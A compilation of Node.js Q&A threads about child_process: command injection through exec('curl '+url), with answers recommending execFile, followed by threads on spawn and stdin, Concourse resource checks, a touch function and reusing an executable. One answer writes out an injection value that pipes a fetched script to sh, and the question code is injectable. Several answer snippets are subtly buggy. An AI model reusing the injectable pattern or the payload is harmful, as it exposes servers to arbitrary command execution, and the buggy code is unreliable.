Securing node.js exec command line in Linux (Ubuntu) server - node.js

Example of codes that will execute command line using from Node.js. It will return full HTML of page.
const getPageHtmlResponse = (fullUrl) => {//fullUrl is come from input form in web page
return new Promise((resolve, reject) => {
try {
const exec = require('child_process').exec
exec("curl "+fullUrl, (err, stdout, stderr) => resolve(stdout))
} catch (error) {
resolve(false)
}
});
}
Is this code can be insecure? I mean the hackers can inject another command on it to manipulate the system or server?
If yes, there's good way to escape it or make it secure?

Don't use child_process.exec(). A clever crafted string from user input will launch arbitrary code from your program, which you do want to avoid.
Instead, use child_process.execFile() as follows:
const getPageHtmlResponse = (fullUrl) => {//fullUrl is come from input form in web page
return new Promise((resolve, reject) => {
try {
const execFile = require('child_process').execFile
execFile("/path/to/curl", fullUrl, (err, stdout, stderr) => resolve(stdout))
} catch (error) {
resolve(false)
}
});
}
execFile takes the pre-parsed list of commands and does not launch an intermediate shell, so there is less risk of launching a program through an untrusted URL.
See also
child_process.execFile

If the user writes a script and put it on http://blahblah.blah/b and instead of this URL it provides a tricky one: http://blahblah.blah/b | sh, now your code will create a process and execute curl http://blahblah.blah/b | sh. and the script could be anything.
one thing you should consider is that, to validate user input URL, check it to no contain extra commands, and be the only url.

Related

How to tell when a spawned process is idle

I am launching an external program (adb shell) via node's spawn method.
Then I am sending commands via childProc.stdin.write(input) and the shell returns stuff accordingly.
My data callback gets called each time there is a new data chunk available. All good!
But since the connection stays open, I don't know when the external program is finished sending data.
Is there a way to solve this? Isn't there some standard way of showing "that's the data you asked for, I am done returning"?
static async execCommand2(command, args, input) {
if(!this.adbShellProc || this.adbShellProc.killed){
this.adbShellProc = spawn(command, args)
this.adbShellProc.stdout.setEncoding('utf8')
}
const self = this
let promise = new Promise((resolve, reject) => {
log.debug('Shell.execCommand2:', command, 'args:', args)
log.debug('send input: ', input)
self.adbShellProc.stdin.write(input)
self.adbShellProc.stdin.write('\n')
self.adbShellProc.stdout.on('data', chunk => {
// resolve(chunk)
// PROBLEM: I can't resolve here, cause there might be more data coming in
})
self.adbShellProc.on('close', code => {
self.adbShellProc.stdin.end()
self.adbShellProc = null
})
})
return promise
}
I am sure your answer is in your question itself. You have added close event listener, so when process is ended, your control will be in close event(Just one modification is, close event will be of adbShellProc.stdout), so you can resolve/return data from there.
static async execCommand2(command, args, input) {
let finalOutcome = ''
if(!this.adbShellProc || this.adbShellProc.killed){
this.adbShellProc = spawn(command, args)
this.adbShellProc.stdout.setEncoding('utf8')
}
const self = this
let promise = new Promise((resolve, reject) => {
log.debug('Shell.execCommand2:', command, 'args:', args)
log.debug('send input: ', input)
self.adbShellProc.stdin.write(input)
self.adbShellProc.stdin.write('\n')
self.adbShellProc.stdout.on('data', chunk => {
// resolve(chunk)
finalOutcome += data
// PROBLEM: I can't resolve here, cause there might be more data coming in
})
self.adbShellProc.stdout.on('close', code => {
self.adbShellProc.stdin.end()
self.adbShellProc = null
resolve(finalOutcome)
})
})
return promise
}
Also, it has another event end of stdout,
ls.stdout.on('end', (d) =>{
// You can resolve from here also
})
You can get more details here Child Process
No. There's no way of knowing if the output is final unless an exit code is returned, this is the linux way.
Fortunately, adb shell gives you a way of running one off commands using the adb shell without having to start it in interactive mode.
Instead of starting the shell and then sending the commands as input, make the whole thing a single command. Example:
adb shell am start -a android.intent.action.VIEW
Then the close event will give you a clear indication that the command has finished so you can resolve and you will also get the return code, so you can check if the command has succeeded or not.
There's no real benefit in starting adb shell in interactive mode, because the real processing is not happening in adb but in the actual server, which is adbd.
https://developer.android.com/studio/command-line/adb#shellcommands
static async execCommand2(command, args, input) {
let finalOutcome = ''
//append the input to the arguments and don't use this, all your commands are one offs and do not require a state check
let adbShellProc = spawn(command, args+input)
adbShellProc.stdout.setEncoding('utf8')
let promise = new Promise((resolve, reject) => {
log.debug('Shell.execCommand2:', command, 'args:', args+input)
self.adbShellProc.stdout.on('data', chunk => {
finalOutcome += data
})
self.adbShellProc.stdout.on('close', code => {
//unix return code, 0 is good, not zero means error
if(code != 0){
reject(finalOutcome)
}
resolve(finalOutcome)
})
})
return promise
}
You can end your shell commands with ; echo some_marker and wait until some_marker appears in the stdout. (And you can also get the exit code with ; echo some_marker $?)

Replicating "Concourse CI" Node Call / Debugging process.stdin Net.socket

I've built a customer resource using node. The resource code looks okay, but once compiled and placed into Concourse, the "Check" in the resource is failing.
Concourse is not giving any useful information except "Unexpected end of JSON"
I'd like to replicate exactly how Concourse calls the build, but I don't know how to find out what it calls?
My assumption was /opt/resource/check which has #!/usr/bin/env node
so just calling this should be sufficient, but I do not get the same behavior.
What I can determine is that it's hanging on my socket that fetches the params passed via stdIn, code below:
export async function retrieveRequestFromStdin<T extends any>(): Promise<T> {
return new Promise<T>((resolve, reject) => {
let inputRaw = "";
process.stdin.on("data", (chunk) => {
process.stdout.write(chunk);
inputRaw += chunk;
});
process.stdout.write(inputRaw);
process.stdin.on("end", async () => {
try {
const json = JSON.parse(inputRaw) as T;
if (!json.source.server_url.endsWith("/")) {
// Forgive input errors and append missing slash if the user did not honor the docs.
json.source.server_url = `${json.source.server_url}/`;
}
resolve(json);
} catch (e) {
reject(e);
}
});
});
}
This is the check code:
(async () => {
try {
const request: ICheckRequest = await retrieveRequestFromStdin<ICheckRequest>();
// Removed unnecessary items
} catch (e) {
stderr.write(e);
process.exit(1);
}
})();
How do I call a NodeJS script the same way as Concourse, so I can find out exactly what the problem is?
Note, I'm compiling Javascript from Typescript
For a resource check, Concourse will run /opt/resource/check passing in the source information from the resource configuration in on stdin. For example, if you configured the pipeline with:
resources:
- name: resource-name
type: your-new-node-resource-type
source:
server_url: https://someurl.com
the first time check runs, your script would receive this on stdin:
{"source": {"server_url": "https://someurl.com"}}
Your script is then expected to return the "current" version of the resource on stdout. In the example below, I've named the key version-example, but you can name that anything you want. You can also add other keys too if you want. This allows you flexibility in uniquely identifying a version.
[{"version-example": "46"}]
Subsequent calls from Concourse to your check script will also include the latest version it knows about, so continuing the example, the next call will pass this to your script:
{"source": {"server_url": "https://someurl.com"},
"version": {"version-example": "46"}}
Your check script should now return (on stdout) an array of any new versions that it finds in order:
[{"version-example": "47"},
{"version-example": "48"},
{"version-example": "49"}]
For more details, you can check out the official docs, which should also be useful when implementing the in and out scripts.
Taking a quick look at your code, it seems that it's writing stdin twice to stdout, which results in the Unexpected end of JSON message. e.g.:
{"source": {"server_url": "https://someurl.com"}}
{"source": {"server_url": "https://someurl.com"}}

I need to create a 'touch' function in node.js

I'm trying to mimic a terminal in node so I need to create a 'touch' function in node.js and I can't find anything that specifically uses touch. How can I set that up?
I've used a couple different things in the past but they keep getting kicked back because I'm not actually using 'fs.touch' or whatever it is.
this was my first attempt.
module.exports.touch = (filename, err) => {
if (err) {
throw err;
} else {
fs.openSync(filename, 'w');
`open filename`
}
};
this was my most recent attempt
module.exports.touch = (filename, callback) => {
open(filename, 'w', (err, fd) => {
err ? callback(err) : close(fd, callback);
});
};
The second one was essentially what they wanted because it did create a touch function but again they want me to actually use fs.touch but I cant find anything about it.
Make time either the current time or the time you want to be set:
fs.utimesSync(filename, time, time);
Just open the path file in write mode, and close it. You will have an empty file, equivalent at touch in command line

How to send input to child process created with spawn? nodejs

I'm running Windows 10, and I have a program, let's call it program, that can be run from the command line. When run, it responds to commands the user enters. The user enters a command, presses the return key, and the program prints a response. I did not make this program and do not have the source, so I cannot modify it.
I want to run this program from within Node.js, and have my Node.js program act as the user, sending it commands and getting the responses. I spawn my program like this:
var spawn = require('child_process').spawn;
var child = spawn('program');
child.stdout.on('data', function(data) {
console.log(`stdout: ${data}`);
});
Then I attempt to send it a command, for example, help.
child.stdin.write("help\n");
And nothing happens. If I manually run the program, type help, and press the return key, I get output. I want Node.js to run the program, send it input, and receive the output exactly as a human user would. I assumed that stdin.write() would send the program a command as if the user typed it in the console. However, as the program does not respond, I assume this is not the case. How can I send the program input?
I've seen many similar questions, but unfortunately the solutions their authors report as "working" did not work for me.
Sending input data to child process in node.js
I've seen this question and answer and tried everything in it with no success. I've tried ending the command with \r\n instead of \n. I've also tried adding the line child.stdin.end() after writing. Neither of these worked.
How to pass STDIN to node.js child process
This person, in their self-answer, says that they got theirs to work almost exactly as I'm doing it, but mine does not work.
Nodejs Child Process: write to stdin from an already initialised process
This person, in their self-answer, says they got it to work by writing their input to a file and then piping that file to stdin. This sounds overly complicated to send a simple string.
This worked for me, when running from Win10 CMD or Git Bash:
console.log('Running child process...');
const spawn = require('child_process').spawn;
const child = spawn('node');
// Also worked, from Git Bash:
//const child = spawn('cat');
child.stdout.on('data', (data) => {
console.log(`stdout: "${data}"`);
});
child.stdin.write("console.log('Hello!');\n");
child.stdin.end(); // EOF
child.on('close', (code) => {
console.log(`Child process exited with code ${code}.`);
});
Result:
D:\Martin\dev\node>node test11.js
Running child process...
stdout: "Hello!
"
Child process exited with code 0.
I also tried running aws configure like this, first it didn't work because I sent only a single line. But when sending four lines for the expected four input values, it worked.
Maybe your program expects special properties for stdin, like being a real terminal, and therefore doesn't take your input?
Or did you forget to send the EOF using child.stdin.end();? (If you remove that call from my example, the child waits for input forever.)
Here is what worked for me. I have used child_process exec to create a child process. Inside this child process Promise, I am handling the i/o part of the cmd given as parameter. Its' not perfect, but its working.
Sample function call where you dont need any human input.
executeCLI("cat ~/index.html");
Sample function call where you interact with aws cli. Here
executeCLI("aws configure --profile dev")
Code for custom executeCLI function.
var { exec } = require('child_process');
async function executeCLI(cmd) {
console.log("About to execute this: ", cmd);
var child = exec(cmd);
return new Promise((resolve, reject) => {
child.stdout.on('data', (data) => {
console.log(`${data}`);
process.stdin.pipe(child.stdin);
});
child.on('close', function (err, data) {
if (err) {
console.log("Error executing cmd: ", err);
reject(err);
} else {
// console.log("data:", data)
resolve(data);
}
});
});
}
Extract the user input code from browser and save that code into a file on your system using fs module. Let that file be 'program.cpp' and save the user data input in a text file.
As we can compile our c++ code on our terminal using g++ similarly we will be using child_process to access our system terminal and run user's code.
execFile can be used for executing our program
var { execFile } = require('child_process');
execFile("g++", ['program.cpp'], (err, stdout, stderr) => {
if (err) {
console.log("compilation error: ",err);
} else{
execFile ('./a.out' ,['<', 'input.txt'], {shell: true}, (err, stdout, stderr) => {
console.log("output: ", stdout);
})
}
})
In this code we simply require the child_process and uses its execFile function.
First we compile the code present in program.cpp, which creates a default a.out as output file
Then we pass the a.out file with input that is present in input.txt
Hence you can view the generated output in your terminal and pass that back to the user.
for more details you can check: Child Processes

Only run an executable File once in Nodejs

I created a program in C++ and created its executable File. My program reads from a huge chunk of files, and then I only need to perform computations on it. So in short I only want to run my executable file once and then just need to pass command line arguments to get the result.
const execFile = require('child_process').execFile;
const child = execFile('./a.out',[InArr], (error, stdout, stderr) => {
if (error) {
throw error;
}
console.log(stdout);
});
But the problem with the above line is, it will execute my code every single time, therefore I need to do all the extra work(reading files), again.
Is there some other way to do it more efficiently?

Resources